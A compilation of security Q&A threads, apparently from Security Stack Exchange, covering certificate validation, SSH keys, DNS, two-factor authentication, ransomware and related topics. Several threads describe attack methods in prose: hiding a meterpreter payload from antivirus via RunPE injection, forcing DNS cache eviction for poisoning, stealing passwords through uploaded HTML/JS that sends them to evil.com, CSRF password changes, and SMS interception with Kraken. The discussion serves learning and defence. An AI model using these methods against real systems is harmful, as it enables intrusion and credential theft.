Understanding how does certificate validation work I'm using Wireshark for better understanding how is a SSL connection established. I captured the traffic of visiting three pages: reddit, facebook and this one. All HTTPS of course.

Reddit: after the server sends the Certificate, it sends a Certificate Status with the response of the OCSP server. Why is the server sending this information? Shouldn't be the client the one who queries the OCSP for knowing the status of the server's certificate?

Security SE: I see there is no validation at all. After the client receives the certificate, they exchange the symmetric key and the encrypted channel is established. Why there is no validation?

Facebook: after the SSL connection is established, i.e. after the encrypted channel is created, the client queries the OCSP server. Why doesn't it query the OCSP before establishing the connection?

PS: if someone is interested in the captures, just run Wireshark, visit those sites and use ssl.handshake filter.

Validation is about making sure that a certificate is genuine. The goal is to know whether the public key you see is really owned by the server you intend to talk to. This validation entails a lot of steps, described there in all their gory details; most of them are completely local to the client machine, so you won't see them show up in any way with network traces. In fact that's the whole idea of certificates: to allow offline validation.

There is still one step of certificate validation which cannot be really offline, which is the check for the revocation status. By definition, revocation is about cancelling a certificate that otherwise looks fine. The three main methods for ascertaining revocation status are:

CRL: a list of revoked certificate is regularly published by the CA (or another entity to which that power was delegated). The CRL is signed, and valid for some time (a few hours or days).
OCSP: an duly designated OCSP server can be asked for the current status of a certificate. The OCSP response is signed, and has its own validity dates, so an OCSP response is somehow equivalent to a CRL that talks about a single certificate.
Nothing: for a very long time, Web browsers simply assumed that no certificate was ever revoked, which sure makes the implementation much simpler.

URL for CRL download or for talking to an OCSP server are written in the certificate itself. A system that wants to validate a certificate (your Web browser; a "relying party" in X.509 terminology), and does not use the "nothing" method of revocation check, will want to download a fresh CRL or obtain a fresh OCSP response. However, it may also cache the obtained CRL or OCSP response; Windows, in particular, maintains a CRL cache that is resistant across reboots. Thus, if the browser downloads a CRL, you will see the CRL download on your network traces only once per day or so (depending on the CRL nextUpdate field). You can inspect the Windows CRL cache with certutil -URLcache CRL. Note that Firefox does its own validation completely independently of the Windows support for certificates.

OCSP stapling is an SSL/TLS extension by which a client may ask the server to send, as a CertificateStatus message, an OCSP response that establishes that the server certificate is not revoked (for now): since OCSP responses are dated and signed, how such a response is obtained has no importance. Since the server can reasonably assume that all clients that talk to it will need the verify the revocation status of the certificate that the server sends, it makes sense to use the server itself as a cache for the relevant OCSP response. It avoids the need for the client to open an extra connection to the OCSP responder, and it makes life easier for the OCSP responder too, because it just have to sign a single fresh response once every few hours.

Not all servers support OCSP stapling, which is why you won't see CertificateStatus messages for all servers.


Why can RunPE Injection bypass Antivirus Software? I informed myself about RunPe Injection and programmed my own runPE. Right on my first try, I was able to hide a meterpreter payload from my antivirus program (Avira Antivirus).

The meterpreter payload is stored encrypted on the hard disk and then injected into the explorer.exe process and decrypted there.

The fact that the meterpreter payload cannot be recognized on the hard disk is due to the encryption, but in RAM the payload is not encrypted. Why can not the antivirus software detect the payload during a memory scan?

If you don't know what a runPE is click here.

AV's can, and do, detect in-memory malware with signatures as well as the act of process injection. Try running that same attack against other AVs and you'll get different results. Maybe upload it to Virus Total oy Hybrid Analysis and see what AVs detect it there?

As an aside Avira isn't a good AV, as you've proved, I'd recommend using something else.


Should Anti Virus and Anti Malware layer be the first layer in web application stack or can it seat behind services? Can you have Anti Virus and Anti Malware layer sitting deep with the microservice layer and have the malicious file flow through all the services ? Argument being the file is in memory and not getting processed until the service we will put the Anti Virus and Anti Malware layer on.

Shouldn't this be stopped at the routing layer of the application?

An anti-virus or anti-malware that runs too early will not be able to prevent all threats. The reason why is that the software must be able to understand all possible ways that the data might be processed by the microservice. This means that the anti-virus itself must also simulate the microservice in order to determine if the result would be malicious code execution. It's far simpler to run the microservice in a sandboxed execution environment (such as how some anti-viruses operate) to detect the bad behavior during runtime, or otherwise provide real-time protection for the microservice at a lower level, such as behavioral heuristics. In order for either of these methods, the protection must run at a lower level than the microservice itself, usually as a kernel/OS process.


Generate wordlist with exactly 4 letters and 6 numbers in any order? I need to configure crunch so that it produces a wordlist with the following set of rules:

Exactly 10 characters long
Contains exactly 4 letters, which have to be a-f (all lowercase)
Contains exactly 6 numbers, which have to be 2-9
The letters and numbers can be anywhere in the word

I'm guessing maybe regex is involved?

I don't know if crunch is able to generate that, however it's pretty easy to generate the word list programmatically. I put such a program (un-optimized) at :

https://gist.github.com/brohee/e0be67593b71d2845b86

The word list ends up humongous, so not hosting it anywhere...

The list going from "aaaa222222" to "aa973ac757" was already 2.6GiB big, so I stopped the experiment.


Sharing a common public and private SSH keys for a cluster of machines I guess this is way to settle an internal debate I am having with myself.

In my provisioning process, I am wanting to share a common public and private ssh keys for each machine in a clusters, (because these are behind a loadbalancer, and I don't want to get key mismatch errors) And an internal twitch, is telling me that is wrong. The correct way would be to generate a private key, for the client, and add the public key to the authorized_key file?

I am not able to reason properly why sharing a common key pair among all the nodes in the cluster is bad. One that does come to mind is the fact, it only takes one machine to be comprimised. What would be a use case where we will want to use option one? Or is it totally frowned upon.

A description of the requirement:
If we have Bob, wanting to connecting to a cluster of Alices', we want to bob to be able to connect to each Alice in the cluster of Alices..

I don't think this should be an issue - using a single key pair to access many servers is perfectly fine and most of the world works that way.

Its important to understand, as @Tom Leek mentioned, that the private part of the key - which must stay secret - is only stored on your single machine and is never transfered out of it. So even if one of the servers is compromised (in a way other then someone stealing your private key), there is no way that this access can be used to gain SSH access to the other servers (although likely the attacker used an exploit that will work just as well on all the other servers as they have identical configuration).

I do have to note that your use of a "Load Balancer" to access the servers over SSH seems suspect to me: "Load Balancer" usually denotes an IP-level or TCP-level access control such that the client connect to a single IP and each time gets assigned a different backend. This is not an accepted way to connect to SSH, because you will still get a host mismatch error when the client tries to verify the host key regardless of your login key (unless you init all hosts with the same host key, which I think is a poor choice). A likely configuration is that you will use a DNS round robin configuration to address all servers as the same name, where each time it resolves to a different IP. In such a setup the client can verify each IP separately and you will not get an error.


Nikto scan says "Uncommon Header" I have a problem with the Nikto Web Scanner.

I would like to scan a site but Nikto returned the response with a HTTP 403 status code:

After that I tried to change the USERAGENT in nikto.conf. Nikto is now able to return with HTTP 200 status code for first few requests. But the following requests are returning with HTTP 404 status codes (not returning any status codes after that):

The following shows the Nikto scan result:

What exactly is happening in between? How can I get a normal scan using Nikto?

Your site seems to be using Incapsula (as the x-cdn header says), which obfuscates the site's content using proprietary obfuscation technology to defend against scrapers. As part of their obfuscation, they actually put parts of the page's contents in those random-looking HTTP headers which then are used by the client-side Javascript to reconstruct the page.

The message Nikto says is more of a notice/info and in this case doesn't reveal any vulnerability - the X-cdn header tells you're using Incapsula but that can already be known by looking up where the DNS record is pointing at, the X-iinfo header shows Incapsula-specific info about which one of their servers served the request, and the remaining headers are just normal obfuscation.


Clear the DNS server's cache? Is there anyway for the attacker to clear the cache of a DNS server in order to poison it?

For example, if someone attacked my DNS server in an attempt to spoof Google.com, they will receive the response "Google.com is already in cache" - so does the attacker have a chance to clear the data in the cache?

Cache management is a broad subject. Half of the decisions taken by a DNS server, in how it handles its cache, are purely local and thus non-standard.

In the DNS system, servers which are "authoritative" for a zone (say, a domain) publish some cache delays, which apply restrictions to other servers. For instance, for google.com:

$ host -t soa google.com
google.com has SOA record ns1.google.com. dns-admin.google.com. 2013072400 7200 1800 1209600 300

The numbers are, in that order: serial, refresh, retry, expire and minimum. The "serial" is an arbitrary integer increased at each modification, and traditionally encodes the date of the last modification (here, July 24th, 2013). The four other integers are delays, expressed in seconds. They tell that a "secondary" (e.g. the DNS server of an ISP, not the source DNS server for the target domain) should use the following strategy:

Whatever information was cached, should be refreshed after two hours (7200 seconds), in case newer information is obtained.
In case of failure to reach the source DNS, a server should wait for half an hour (1800 seconds) before trying again.
Information which was cached cannot be considered as usable beyond fourteen days (1209600 seconds). A DNS server must not use or keep information which has been obtained more than a fortnight before.
Unless it cannot be avoided, a DNS server must not talk again to the source DNS server within five minutes (300 seconds) of the previous answer.

Section 2.2 of RFC 1912 gives more details. The most important value, for an attacker bent on DNS poisoning, is the "minimum" delay. Here, it means that the attacker will have a hard time making its victim eat fake DNS data about google.com before at least 5 minutes have elapsed. Conversely, the attacker just has to wait for five minutes, or maintain his toxic flow of fake answers for five minutes, in order to have a fair chance at poisoning the server.

There are methods to speed up forgetfulness. The attacker stands a chance of poisoning the server if he can get it to forget what it knows about a given domain. As explained above, a DNS server will already "forget" information beased on delays which are advertised by the source server itself. However, a DNS server keeps its cache in RAM, which is not an infinite resource. This means that the following may be applicable:

The attacker can spam the target DNS with lots of requests for many randomly-chosen domains, so that the DNS has more information to cache than it can realistically keep in its allocated RAM, forcing it to evict previously cached information earlier than what the "minimum" delay would have entailed.
In some cases, the attacker can make the target DNS crash and be restarted automatically (it depends on how well the DNS software and the underlying OS handle against massive DoS attacks). A crashed-and-restarted DNS server begins its life with a clean, empty cache, ready to be poisoned.
DNS servers can also agree on proactive notifications of changes: a secondary DNS can ask a primary to tell it whenever some of its data has changed, so that it may invalidate its caches immediately, instead of waiting for the normal delay-based refreshes. An industrious attacker may want to try to fake this mechanism to force an early refresh.


Are there Yubikey-like TOTP hardware tokens without additional software? I am looking for a way to replace my phone as a 2FA method. U2F is not universally supported. Most services that I use support TOTP (Google Authenticator), and so I thought the Yubikey would support loading the TOTP secret and, upon press of a button, somehow detect the web site I am on, generate the code, and enter it, without additional software involved. Apparently, this does not work. But could it? Or is there hardware that supports this use case?

The hardware token detects the website you're on, generates an appropriate code, and submits it directly without the user typing anything? That sounds a lot like u2f.

The reason why you don't see this offered is the same reason why only a few sites support u2f: it would require the browser to interact directly with the hardware token, and at the moment only Google Chrome is able to connect to USB devices. Other vendors don't see it as an important feature to include. Sad, because it solves phishing more or less entirely.

So no, this doesn't exist as you describe if you're not willing to use u2f. There's stuff like LastPass which can do something of what you ask, but that's a browser extension not a hardware token.


Password Protected Zip: if attacker had one file, can use it to decrypt all files? Consider a folder containing the following files:

(file1.txt, file2.doc, file3.pdf) all zipped and password protected, if attacker had one of these file, can use it for decrypting all without knowing the password?

Note: I used very strong password which is 100 in length for example:

  nZqQb=r07W.G'sZaHf$>&cC]3'9={1U1lPtxT514h&$$V1g05i.ZbIiX65>ckF65G64Tx6NrKR3688R81G6u4D~:J7pr616dOK*9

That would be a form of know plain-text attack. Zip uses AES these days to encrypt files and AES is not susceptible to these type of attacks.

Please refer to: Compute the AES-encryption key given the plaintext and its ciphertext?


penetration testing career path I’m a fourth year student in computer science and I want to work as a penetration tester.

I studied this courses as a self-study:

RHCSA
RHCE
CCNA
Network+
Security+
C#

The question now is: can I get the CEH and after graduation, work directly as a pentester? OR I should first work as a network admin or a system admin?

Get in touch with some companies that do what you want to do and see about graduate careers. They will be able to tell you what they are looking for.

Certs are great, but experience will count for more. Start doing your own research, participate in bug bounty programs and build up a 'portfolio' you can use at interview. Being on the wall of fame for $company definitely wont hurt your chances.

Go to conferences and get involved with the community. You may well find a job via people you meet at cons. In the UK, you usually find some of the bigger companies mentioning they are recruiting. Talk to the guys in the stands. The last con I went to, companies where actively looking for graduates.


What additional paperwork would be needed to get from EAL4 vertification to EAL7? If my product is currently at EAL4, what is the process to get to EAL7? What additional paperwork or requirements would I need to complete?

This is specific to the kind of product, who the evaluation is doing and who should the evaluation accept at the end, i.e. there is no generic answer apart from Wikipedia: EAL7. You better talk to the parties who did the EAL4 evaluation for you and already know lots of details of your product for how to achieve EAL7 with this specific product.
In general EAL7 is much harder too achieve than EAL4. It comes with requirements like formal verification which are simply not doable currently for more complex software systems.


Why am I allowed to add exception for some sites but not others when using a proxy with a self signed cert? I have a proxy server that runs on my local system. It's designed to capture traffic that passes through it for testing. It generates a self signed certificate that it uses to sign traffic.

Here's how it's explained from the documentation:

  If your application uses SSL (HTTPS), the proxy must act as a
  man-in-the-middle to record traffic. To do this the proxy server must
  have a root certificate that it can use to sign its communication with
  the app. By default, the proxy server generates a unique root
  certificate, and no user intervention is needed. However, when
  browsing the app you will get SSL warnings.

My question is that some sites allow me to add an exception and others don't.

For example duckduckgo and google don't give me the option but imgur does. This happens when using the proxy with Chrome and Firefox.

I'm not too concerned about google but I have some internal sites I am working with so I am trying to figure out what might be causing this.

Thanks

I think I figured it out after posting. It pays to pay attention to the errors I guess.

Firefox says

  This site uses HTTP Strict Transport Security (HSTS) to specify that
  Firefox may only connect to it securely. As a result, it is not
  possible to add an exception for this certificate.


Airprobe and kraken related questions I'm setting up test machine for my engineer work, to check GSM security and SMS interception.

I already have an N210 and read a lot of documentation. There are some questions I have but can't find on internet:

Kraken works only on ATI (or AMD, don't remember which one) and need to use old PC - true or false?
If I receive one malfunctioned bit from the message - I can't crack it with Kraken and rainbow tables
If I crack one SMS dedicated for one person, can I use the same hash to decypher the message and don't need to search in rainbow tables again?

Kraken works by either leveraging the CPU or an ATI video card (use `make noati' when compiling). Either one should be sufficient -- I would not recommend using an old computer or outdated hardware.

Josh Wright wrote about Kraken along with pytacle in "Hacking Exposed Wireless, 3rd Edition". He mentioned that recent GNU C Compilers do not compile the original Kraken source release, so he updated and made available a newer version of Kraken here -- https://github.com/joswr1ght/kraken

The Kraken tables from the original project must still be downloaded and utilized.

Best way to defend against this attack is to use a BYOT SIM card from a provider such as StraightTalk.


Are contents of PHP sessions forensically valuable? PHP has some nice, neat builtins for dealing with sessions: there'ssession_start() and session_id() and session_destroy() functions, which work with a superglobal variable, $_SESSION, to store name/value pairs. What more could a programmer want?

As near as I can tell, the default PHP behavior is to keep the contents of sessions in files, on Linux, under /tmp/, but it looks like this can be changed in php.ini. Are the contents of these session files ever used forensically, to figure out what's gone on?

Whether or not the PHP session had any forensically useful data in it really depends on what kind of information that the application stores in the session. So yes, if applications store forensically useful information in the session (which is quite common) then the session files will have useful data in it.


Password cracking using Quantum Computers Suppose that I have a password that is n-digits long. Each digit can take m values. So the number of permutations will be m^n. I wanted to know how much time it would take a quantum computer to crack this password.
Is there a specific algorithm to this? If quantum computers are actually commercialized, am I (or literally everyone) in feasible danger (of having our passwords stolen)?

Where a traditional brute force would take m^n computations, a quantum computer would use √(m^n) computations, using Grover's algorithm. Using a password that is twice as long, or using twice as many bits in symmetric encryption give adequate protection against quantum computers.
For asymmetric algorithms, this is different. Using Shor's algorithm, RSA completely falls apart on quantum computers. We would need post-quantum algorithms to have secure asymmetric encryption.
As you can see, quantum computers allow algorithms that wouldn't be possible on classical computers. This enables them to solve problems faster. Quantum computers are not faster classical computers, they are fundamentally different.


With full access to the disk of an IIS web server, could you access the database server? Here is a theoretical setup:

You have a web server running Windows Server with IIS
You have a website running here which connects to a database
This website can start automatically when the server starts
The database connection is done using trusted windows authentication
A malicious party gets the hard drive from your web server

Is it possible for the malicious party to get access to the database?

As far as I am aware, trusted authentication uses the user that the website is running as. Therefore, there must be some sort of automatic login for this user. Is this the area that can be exploited? Is there some complication because of the domain controller?

Please don't post answers like "Yes, of course it's possible" or "No, it's 100% secure". I would like explanations as to what extent this is secure and why.

When Windows machines are part of an Active Directory domain, Kerberos is used to manage authentication. With Kerberos, the domain controller is the game master: everybody trust it, and none other. Which means that when the Web site connects to the database, the machine which contains the Web site (let's call it "WWW") talks to the domain controller ("DC") and uses a secret value, stored in the entrails of WWW, to convince DC that it is exactly that machine, sane and sound of spirit and body: the secret value is accessible only to the most privileged process in WWW.

Once DC is convinced, it honours the request from WWW which is: "give me a ticket which I can show to the database, proving that I am user 'SomeDomain\SomeAccount' trying to connect to the database under that name". That ticket is the result of a cryptographic computation that the database server (DB) will verify by talking to the DC ("Is this ticket valid right now ?"). Tickets embed a timeout and are short-lived.

What does it mean for our problem ? It means that an attacker obtaining a full copy of the hard disk of WWW learns the secret value that WWW uses to authenticate to the DC. This does not give him any secret which would be sufficient to connect to the DB directly. Indeed, the DB trusts only DC. So, in order to actually connect to DB, the attacker has to pose as WWW, i.e. boot a machine on the same network, which will use its knowledge of the hard disk contents of WWW to convince DC that it is the rightful WWW, and obtain a connection ticket which will please DB. Moreover, in order to achieve that, the genuine WWW machine will have to be shut down or at least disconnected from the network, because if the DC sees two machines simultaneously, both claiming to be WWW and knowing the WWW-specific secret to that effect, then the DC is likely to go irate and cease to talk to both.

Summary: In your scenario, the theft of a copy of the complete disk of the Web server will allow rogue connections to the database only in case of an active attack in which the attacker runs a fake machine in lieu of the genuine Web server. This is equivalent to taking administrator-level control of the Web server (whether the attacker switches the hardware or not is actually irrelevant). To succeed in connecting to the database, the domain controller must still be involved.


How much personal information should I provide to an identify theft monitoring company? I've been provided credit monitoring and identity theft protection services from the company CSID. Their CyberAgent internet surveillance tool claims to "monitor thousands of websites and millions of data points and alerts you if your personal information is found being bought or sold online. We will alert you if we find that your monitored information is compromised." By default it monitors the email address and social security number used to sign-up for the service, but one can also add bank accounts, credit/debit cards, email addresses, phone numbers, medical IDs, driver's licenses, and passports. Are there any benefits in monitoring this additional personal information? Even if such information was found being sold online, what could one really do about it?

Instead of providing all of this personal information to a credit monitoring service who will then (supposedly) monitor for suspicious activity associated with your ID, you may want to simply freeze your credit report.  With your credit report frozen, it becomes inaccessible to banks or lenders.  If an identity thief were to try to take out a loan or open a credit card or line of credit using your name and ID, the bank or lender would not be able to pull your credit report, and would therefore be unlikely to issue the loan or line of credit to the thief.

Freezing your credit report is easy to do.  For more info on freezing your credit report from the FTC web site:
http://www.consumer.ftc.gov/articles/0497-credit-freeze-faqs

Links to pages at the web sites of the three major credit bureaus for freezing your credit report:
http://www.experian.com/consumer/security_freeze.html

http://www.transunion.com/securityfreeze

http://www.equifax.com/help/credit-freeze/en_cp


Impact on required password entropy when introducing two-factor authentication Is there a best practice or rule of thumb for the impact of introducting two-factor authentication on the required entropy of a used password?

Say we consider 80 bits of entropy to be sufficient for passwords of a specific system. If we introduce a second factor (something you have) does this lower the entropy required for this password?

Lowering password complexity requirements after introducing a 2nd factor for authentication has no benefits. If you increase security in one place, just to lower it in another place you're just wasting your time. And in the case that one of your users loses their token/smartcard/2nd factor to an attacker, that attacker would have a weaker system to attack, therefor raising his/her chances to breach the system*.

The goal of multi-factor authentication is to make it even harder/more expensive for an attacker to circumvent your authentication process.

So the "best practice" for 2FA in your case is to not lower the already established minimum requirements. A 2nd factor should be treated as an addition to the system's security, not as a substitution.

*If we set aside rate limiting, IDS/IPS, account lockout, etc. for a second.


If I login using browser X, will CSRF work in browser Y? If I am still logged in using browser X, can a CSRF attack work when I use another (default) browser Y on the same machine? Assume that the web server has a CSRF vulnerability and no hidden token checking will be done on the server.

No.  CSRF works by using a session already in place, and sessions can only exist within the same browser.  Or put another way, all current/major browsers do not share sessions.

EDIT: As noted in the comment, it is theoretically possible using flash cookies.  IMO, flash cookies are evil to begin with though.


Avast attempts to connect to the Internet when I try to download email The file AVAST (Software\Avast\AvastSvc.exe) tries to connect when I check my email. When I forbid access to the internet for AvastSvc.exe, I can't connect to POP3 & SMTP.

I'm not sure where all of my emails are going when AvastSvc.exe have access to the internet. I think it's a tricky security issue.

My guess is that you have Avast Mail Shield active and therefore it will scan any incoming and outgoing messages. This is probably done by being a man in the middle, i.e. your mail client actually connects to a local process from Avast which then connects to the real mail server.

This means the internet access is necessary to actually get the mails from the internet, analyze them and then forward them to your mail client. There is no need to send these mails to Avast for analysis same as there is no need to send your local files to Avast for analysis. But it is necessary for the Avast process to actually reach the internet because otherwise it could not get your mails for analysis.

Apart from that you should ask yourself if your distrust makes any sense: you trust Avast to inspect all your locally stored data, you trust Avast to connect to the internet to get updates but you don't trust Avast to connect to the internet when you get mail? If Avast would like to transfer your mails it could be easily done during the software/pattern update.


Assuming my password is strong enough, how else can I protect my account? I'm a very insecure person, so I made my gmail account's password so long, that I started to question whether or not it's possible for someone to hack it with any given method (It's a passphrase with random numbers and special characters).

Is there still a possible way my account could get hacked? I just want to stay safe (My last account got hacked because it only had a 5 character password). If there is still a way for someone to hack into my gmail account, how do I block that way?

Threats:

Keylogger (as @MikeScott mentioned) on your PC or mobile device, or that of any other PC or mobile device that you use to access this account
Malicious browser extension
Malicious mobile app (if you sign into the account through a third-party app, or if your phone is rooted or compromised by a malicious app)
Phishing attack (you enter the credentials on what you think is Google's login page, but it isn't)
Reusing the password on a malicious site
Reusing the password on a site that gets compromised
Google gets compromised
Malicious app that you approve to have access to your Google account
App with access to your Google account gets compromised the attacker uses it to access its users' Google accounts
Password stored or transmitted insecurely (written down, sent over an insecure communication channel, etc.)
Attacker gains access to accounts needed to recover a "forgotten" password (for example, this might be your phone number, which can be hijacked)
Attacker impersonates you (pretending to have forgotten the password) and successfully tricks Google support
Password guessed by somebody who figures out how you generated it (unless you actually used a secure random number generator, this is more likely than you might think; humans are terrible at making random phrases or numbers)

Mitigations:

MULTI-FACTOR AUTHENTICATION (as @MikeScott mentioned), ideally using a really secure method such as a Yubikey in U2F mode (other methods are still vulnerable to phishing attacks), and ideally not just using SMS (too easy to hijack)
Keep your machines (PCs and mobile devices) up to date, both the OS and the apps
Don't sign into your account on other peoples' computers or devices
Don't ever re-use the password on another site
Don't store the password in plain text anywhere (a high-quality password safe app, such as LastPass or 1Password, is fine as long as you have a very good password, and ideally MFA, on the password safe)
Before you enter your password anywhere, make sure you expect to need to enter your password there (for example, if you should still be signed in but are being asked for your password, that's a sign you may be seeing a phishing page instead!)
Before giving access to any third-party apps (even ones that say they're from Google; sometimes people use sneaky ways to make it look like Google wrote the app when actually they didn't), make sure that the app is from a trusted source and actually needs to access your Google account for some reason (simply verifying your identity / email address is usually safe, actually accessing your email is a danger sign)
Don't use any insecure accounts as password recovery methods for your Google account
Run a reputable anti-virus (do not ever rely on AV software - they can be bypassed by knowledgeable attackers - but better to have it than not)
Be very cautious what browser extensions you use, especially ones that have permission to access "all web sites" (or Google sites in particular, of course)
Never share your password with anybody (even if you trust them personally, their computer might be less secure than yours)
Practice safe Internet usage in general (don't open unexpected attachments, don't run scripts or programs from shady or pirate sites, don't enable Flash or Java in the browser, etc.)


Possibility to upload any HTML and JS is a security hole, isn't it? Is it true that if an attacker has the possibility to upload any .html and .js files, then he can get a password of another user?

Please explain how to do it.

Yes, this is a huge security hole. Lets say you discovered this on example.com. How do you exploit it?

Upload a HTML file containing an iframe with the login page of example.com, and some JavaScript to read any passwords entered and send them to evil.com.
Send the link to some innocent victim: "Just login to example.com to claim your free prize!" When the victim visit the site, she notice that everything lookas as it always does - even the EV certificate checks out. So surely everything must be allright! She enters her login credentials.
Profit.

Please note that this is not a case of the victim being gullible, since she is actually on the right site and not a phishing mirror like eksample.com. Still, if you don't want to rely on any action from the victim other than following the link, you could still easily steal session cookies (unless they are HTTP-only).


Is there a way to post directly to the server without going client side? I was pentesting a web app and while doing a password change, the client checks for the old password but not the server. Also they've a CSRF vulnerability. So would it be possible to post directly to the server and change the password without the client?

I was pentesting a web app and while doing a password reset, they
  check for the old password only in the client side but not in the
  server side.

They could be taking your current password at the client side and encrypting it or creating a random token from that password and other info and then sending it to the sever along with the new password for processing or Simply checking for the password at client side and then send some random number if the condition were true or false.Why?No reason but they could.

  So would it be possible to post directly to the server and changing
  the password without going client side?

Yes,if and only if there is no current password or CSRF token in the request or a encrypted token that cannot be figured out by attacker then yes the web app in question is wide open to password change CSRF attack.You could easily make a POST/GET request and then lure the victim to an attacker site and change his password.

NOTE:-You might be missing a couple of check's.Keep poking.

  What to do next?

Try and make the request for password change using burp repeater and take away all the cookies one by one and look at the bare minimum needed to make the request and you will know the answer


How do I know a new host key is safe to accept? I am frequently rebuilding servers for staging and development. I connect to them with SSH for provisioning.

In the process, I'll destroy a VM, rebuild it, and provision it all over again with the new scripting.

One small issue I have is that my local machine remembers the old host key and warns me that it's changed for the hostname or IP after it's been rebuilt.

This is expected and a good thing. But irritating.

I then have to ssh-keygen -R the local fingerprint and try to connect again to get prompted to accept a new one.

This is tedious. So I looked and learned that I can set some ssh options like ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no

That fixes my workflow issue, but made me wonder how secure the whole process is in the first place.

If I just blindly accept every fingerprint that a new server sends me, am I only minimizing the Man in the Middle attack potential by blindly trusting it only once and then expecting it to be the same from there forward?

Or, other than getting the server keys through another channel before connecting the first time, is there some way to close that hole and know that the fingerprint I'm getting is actually from the server I intend?

A couple of possibilities:

Backup and restore the keys. I use a script to backup both public and private keys in an encrypted archive (tar.bz2) file to a local server over rsync.
Use a set of private keys and reuse them across systems - probably not a good idea unless the area is secure and the chances of MITM are slim.
Use keys signed by a trusted certificate (e.g. https://www.digitalocean.com/community/tutorials/how-to-create-an-ssh-ca-to-validate-hosts-and-clients-with-ubuntu)
Finally, you could use a key management system or even a script to pull the key fingerprints from a central server before attempting to connect. I never tried it myself, but I do have a script-override to deal with some other SSH stuff. Instead of using SSH directly, I use this aliased script to connect to target host.


Could ransomware be stalled while encrypting? I have been reading about ransomware, and I was wondering if it could be defended against by having certain "trap" files on a drive. Sometimes I look through Code Golf and am thoroughly impressed by some of the solutions posted, some of which I wouldn't think are possible.

So I wondered: Is there a way to have ransomware's encryption process get hung up by specially created files (not just exceedingly large files)?

Could a file be created that, when encryption was attempted, would send the encryption process into an infinite loop, or at least one that might take a long time to complete? Maybe a monitoring program that is able to begin creating dummy files, while at the same time deleting encrypted dummy files as they are encrypted, so that the encrypting process is led down an endless path?

Of course the idea here is to stall the encryption process midway. Or, perhaps, could accessing the special file cause the computer to enter some form of "safe mode" that halts current processes?

(Note: this would obviously be a last-line-of-defense strategy, certainly not something that one would ever want to rely on for security, but an extra measure in case more proper measures all fail)

Your suggestion is interesting; unfortunately a generic solution is not possible as there is no combination of bits that would cause an encryption algorithm to "stall".  Encryption is just math, after all.  Perhaps use of a rootkit could trick ransomware into believing that it's encrypting a fake yottabyte-long dummy file handle, or it could have delays built in that hand out the bytes from the file very very slowly, but those kind of approaches are likely to impact normal usage of the computer as well.

There might be specific versions of ransomware that have implementation bugs that you could somehow exploit to make this happen, but that approach has numerous problems.  Malware authors and script kiddies evolve and change ransomware programs all the time, so depending on a bug in today's version is no assurance that you'll be infected by the same version of ransomware tomorrow.  And there are hundreds or thousands of different ransomware programs out there today; no exploitable flaw is going to be present in all of them.

@HameJames approach is one way of attempting to detect ransomware in action, but there's no guarantee that his trap file will be the first file encrypted by the malware and will shut it down in time, or if it's the last file and the shutdown just makes it worse.

Your best defense at this point is still operational security.  Make regular backups of important files and keep them offline.  Don't open unexpected email attachments, or click on phishing links.  Keep your security software up to date, and your systems patched.  All the normal advice still applies.


rolling code & keyless entry system The security industry typically uses rolling code algorithms to authenticate sender & receivers in keyless entry systems, which is called RKE (ex: KeeLoq).

In key-less smart key car system,

The transmitter periodically (at interval of 1-2 seconds) sends a low power RF signal. If a receiver is around it will check the rolling code sequence and match the code to authenticate (confirm this is how it works ?)

However, since the sender is periodically outputting a signal, can't the key easily go out of the sequence for rolling code sequence, how does it manage this part ?

Or does it use two-way communication to synchronize and increment the sequence counter?

Also, what does the exact signal look like that key sends to receiver, is it sequence number and some X bit code?

If I apply a range extender to the sender & receiver so that I can crack the key and get into the car without being key near to car,

Does the algorithm takes care of this scenario ? And if yes, how?

First, start by reading the answer to this question-> https://crypto.stackexchange.com/questions/18311/how-does-a-rolling-code-work
This answers your first two questions.  Also, the transmitter does not periodically send an RF signal, as what starts the authentication conversation is a key fob, not the car.  The only way to break out of the sequence would be to repeatedly press your fob while out of range of the car.

The sequence is generated from a psuedo-random number generator (there is no true random number generator) with a seed.  Each receiver and transmitter have different seeds, so one transmitter will no work for another, and vice versa.  Also, even if two receivers and transmitters have the same seed, they are most likely at different spots at the sequence, and thus (most likely) wouldn't be able to work with each other.  However, there are a multitude of attacks still possible, as shown here -> http://alrabady.com/images/Analysis_Keyless-entry.pdf (page 3)

This is what the rf signal looks like:
http://www.ni.com/white-paper/13192/en/
The numbers are sent, and also a little bit of other information.

The algorithm is not made to stop an attacker (A) from grabbing the numbers, but is made so that if and when A does grab the numbers, A can't do anything with them.  Proximity doesn't matter unless A is trying to do a jamming attack, as outlined by http://hackaday.com/2014/03/17/hacking-rolling-code-keyfobs/


HTTP access control (CORS) purpose As there is an option to disable HTTP access control (CORS) in browsers, so I can send requests to any origin. So why should I bother to run a Browser with CORS enabled?

For your own good.

If you disable CORS the following can happen:

I send you link to a page called hackfacebook.com for example. When you visit my page, I then request the facebook.com page using an AJAX request which if you are logged in returns the page content as well as your session cookie.

I now as the owner of hackfacebook.com have your login session.

As you can see disabling CORS is at your own risk as it can open up another attack.


How can I ensure consistent privacy policy of my DNS server to that of the TLD's privacy policy? Whenever I query example.com, one of the TLD root servers for .com will be queried for example.com.  This query includes my IP address, and in theory could be used to identify my browser session.

Given that jurisdictional domains (such as .us, .me, .gov) likely have privacy policies that support the viewpoints of the various local governments, or sponsoring institution, there is bound to be an inconsistency.

  Is there any spreadsheet (similar to the VPN spreadsheet) that lists the various DNS providers by TLD, and the privacy policy?

My primary concern is that most top tier providers charge "per query", which means that every query is logged in some form.  The second question is who audits this implementation to ensure compliance, but I don't think that is something that anyone is doing these days.

IF the local government or the ISP of the site wants to log your IP address while you visit example.com, they would rather read it from the TLS Client Hello handshake's (plain) Server Name Indication (SNI) extension.

Therefore, the DNS is not the first thing to be worried about in this situation, but let's explain why they would not choose the DNS queries for this kind of monitoring as it doesn't reveal your IP address to to them.

Whenever you query example.com, you send exactly one UDP packet for IPv4 A and other for IPv6 AAAA to your DNS resolver and get responses directly from it. Here, Cloudflare's 1.1.1.1 is used as a resolver.

The resolver a.k.a. recursive name server either 1) already has the response cached, 2) asks for it exactly the same way from its forwarders or 3) starts resolving it for you starting from the root servers. If the any of the authoritative name servers for ., .com or .example.com logs these queries, it only sees the IP address of the final recursive resolver.

In our example, the authoritative name servers doesn't even see the 1.1.1.1 directly in their logs, not to mention the query for A might be asked from a different authoritative server than AAAA.

If the first authoritative name server logs the requests, it might see:

162.158.237.161#19489 (example.com): query: example.com IN AAAA -EDC (199.43.135.53)

While the other request may finally go to the second authoritative name server, which may log:

